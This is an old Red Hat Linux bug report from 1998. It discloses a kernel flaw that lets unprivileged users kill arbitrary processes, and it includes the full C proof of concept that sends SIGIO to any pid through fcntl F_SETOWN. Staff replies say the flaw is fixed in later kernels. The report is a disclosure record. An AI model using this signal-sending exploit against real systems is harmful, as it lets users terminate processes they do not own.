Bug 78

Summary: Rootshell reported bug, shits.c
Product: [Retired] Red Hat Linux Reporter: penguin
Component: basesystemAssignee: David Lawrence <dkl>
Status: CLOSED NOTABUG QA Contact:
Severity: medium Docs Contact:
Priority: high    
Version: 5.0Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: i386   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 1998-11-16 14:08:43 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description penguin 1998-11-15 16:13:46 UTC
Allows anyone to kill any process - even if not root.
Effects 5.0 and 5.1,  have not tested on 5.2
---
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int s, p;
if (argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}

Comment 1 Bill Nottingham 1998-11-16 13:51:59 UTC
*** Bug 80 has been marked as a duplicate of this bug. ***

Comment 2 Bill Nottingham 1998-11-16 13:52:59 UTC
*** Bug 79 has been marked as a duplicate of this bug. ***

Comment 3 Preston Brown 1998-11-16 14:08:59 UTC
This was a kernel bug, and has been fixed in the latest errata kernel releases
for 5.x.  Or, you can upgrade to 5.2.

Comment 4 Bill Nottingham 1998-11-16 16:04:59 UTC
*** Bug 91 has been marked as a duplicate of this bug. ***

Comment 5 Preston Brown 1998-11-23 12:21:59 UTC
*** Bug 165 has been marked as a duplicate of this bug. ***

Comment 6 Bill Nottingham 1998-12-01 03:37:59 UTC
*** Bug 243 has been marked as a duplicate of this bug. ***